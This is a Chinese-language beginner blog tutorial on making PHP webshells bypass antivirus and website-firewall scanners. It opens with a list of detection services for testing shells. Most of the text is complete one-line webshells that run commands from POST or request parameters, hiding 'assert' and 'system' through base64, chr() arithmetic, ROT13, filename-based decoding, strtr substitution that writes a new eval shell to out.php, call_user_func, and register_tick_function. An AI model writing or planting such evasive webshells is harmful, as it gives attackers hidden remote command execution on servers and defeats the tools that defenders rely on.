小白必看web专题!PHP-WebShell免杀(基础版)!!真的很简单!(全网最详细版本)

Dest1ny-安全 2024-10-21 17:33:01 阅读 75

大家好,我是Dest1ny!

最近一直在搞辅导啥的,所以没啥时间搞写~

也谢谢大家一直的点赞,今天特意把之前的web专题再发一个。

废话不多说,我们直接开始!


CLASS-1 WebShell免杀测试


渊龙Sec团队导航(上面啥都有): 渊龙Sec安全团队导航长亭牧云查杀: CT Stack 安全社区阿里云恶意文件检测平台:阿里云恶意文件检测平台阿里伏魔引擎: https://xz.aliyun.com/zuesVirusTotal: VirusTotal微步在线云沙箱: https://s.threatbook.com/河马WebShell查杀: SHELLPUB.COM在线查杀百度WEBDIR+: https://scanner.baidu.com/D盾: D盾防火墙网站安全狗: 网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改


这些就是我们检测自己写的webshell有没有免杀效果的网站!

CLASS-2 最简单的webshell

我们看一下我们最熟悉的webshell!

<code>eval() 函数把字符串按照 PHP 代码来计算,即执行PHP代码

$_POST传参,将传参内容作为php代码执行

这就是最简单的一句话木马,但是我解释的这两个知识点恰好就是各大厂商主要去检测的地方。

就是高危函数和命令执行函数这两个部分。

那免杀本质就是通过代码混淆和变形去绕过检测规则。

CLASS-3 webshell免杀(编码)

base64解码(下划线利用)

<code><?php

$f = base64_decode("YX____Nz__ZX__J0"); //解密后为assert高危函数

$f($_POST["Dest1ny"]);//assert($_POST["Dest1ny"]);

?>

通过将下划线包含在 Base64 字符串中并观察解码结果,可以判断系统的过滤机制。

但是这种局限性很大,要去一点一点测试过滤规则,万一不过滤下划线怎么办?

ASCII编码

道理一样,就是编码方式改变了

<?php

//ASCII编码解密后为assert高危函数

$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);

$f($_POST['Dest1ny']); //assert($_POST['Dest1ny']);

?>

ROT13编码 

$f = str_rot13('flfgrz'); //解密后为system高危函数

$f($_POST['Dest1ny']); //system($_POST['Dest1ny']);

CLASS-3 webshell免杀(拼接)

文件名与数组结合

<?php

function confusion($a){

// 定义一个字符数组,用于转换数字到字符

$s = ['a', 't', 's', 'y', 'm', 'e', '/'];

$tmp = ""; // 用于存储转换后的结果

// 当输入的数字大于10时进行循环处理

while ($a > 10) {

// 将当前数字模10的结果作为数组索引,拼接到结果字符串中

$tmp .= $s[$a % 10];

// 将数字除以10,为下一次循环做准备

$a = $a / 10;

}

// 最后将剩余的数字对应的字符拼接到结果中

return $tmp . $s[$a];

}

// 从当前文件名中提取出最后10个字符中的6个字符,结果是'976534'(字符串)

$f = confusion(intval(substr(__FILE__, -10, 6))); // sysTem(高危函数)

// 最终构建出一个高危函数的调用 sysTem,传入POST请求中的'Dest1ny'参数

$f($_POST['Dest1ny']); // sysTem($_POST['Dest1ny']);

?>

你们看,这个就很骚,先把文件名设置成数字,再通过数字和数组的结合去进行绕过免杀。

 

写入新文件绕过

这里先把system通过字符串替换构造了出来

再去拼接到一句话木马里,而且这里是把eval$_POST转换成evqrw$_yKST

 最后去把内容写入新文件

<?php

$hahaha = strtr("abatme","me","em"); //$hahaha = abatem

$wahaha = strtr($hahaha,"ab","sy"); //$wahaha = system(高危函数)

$gogogo = strtr('echo "<?php evqrw$_yKST[Dest1ny])?>" > ./out.php',"qrwxyK","al(_PO");

$gogogo = 'echo "<?php eval(_POST[Dest1ny])?>" > ./out.php';

$wahaha($gogogo); //将一句话木马内容写入同目录下的out.php中;

?>

CLASS-4 webshell免杀(参数绕过)

base64传参绕过

<?php

$decrpt = $_REQUEST['a'];

$decrps = $_REQUEST['b'];

$arrs = explode("|", $decrpt)[1];

$arrs = explode("|", base64_decode($arrs));

$arrt = explode("|", $decrps)[1];

$arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);

?>

接收请求参数

$decrpt = $_REQUEST['a']; $decrps = $_REQUEST['b'];

从 HTTP 请求中获取参数 ab

处理参数 a

$arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs));

使用 explode("|", $decrpt) 将参数 a| 符号分割,取第二部分(索引为 1)。对该部分进行 Base64 解码。解码后的结果再次使用 explode("|", ...) 进行分割,得到一个数组 $arrs

处理参数 b

$arrt = explode("|", $decrps)[1]; $arrt = explode("|", base64_decode($arrt));

对参数 b 进行相同的处理:分割并解码。结果存储在数组 $arrt 中。

调用函数

call_user_func($arrs[0], $arrt[0]);

使用 call_user_func() 动态调用 $arrs 数组中的第一个元素所对应的函数,并将 $arrt 数组中的第一个元素作为参数传递。

到最后只要你传参是base64加密完的敏感函数就可以了

这里 c3lzdGVt 是字符串 system 的 Base64 编码。这里 d2hvYW1p 是字符串 whoami 的 Base64 编码。

 

函数构造传参 

$f = $_REQUEST['f']; 从用户请求中获取一个名为 f 的参数,这个参数应该是一个函数名称(例如 system)。declare(ticks=1); 设置一个 PHP 的指令块,每执行一条语句就触发一次注册的 tick 函数。register_tick_function($f, $_REQUEST['aabyss']); 注册一个 tick 函数,这个 tick 函数会在每个 tick 时被调用。这里的 $f 是用户传入的函数名,而$_REQUEST['aabyss'] 是该函数的参数。

<?php

$f = $_REQUEST['f'];

declare(ticks=1);

register_tick_function ($f, $_REQUEST['aabyss']);

?>

那我们在$f传参中是system,不就构造好了吗!


今天就先这样吧,累累的哈哈哈

大家多多关注Dest1ny,现在已经300粉丝了!!!感谢大家!!



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。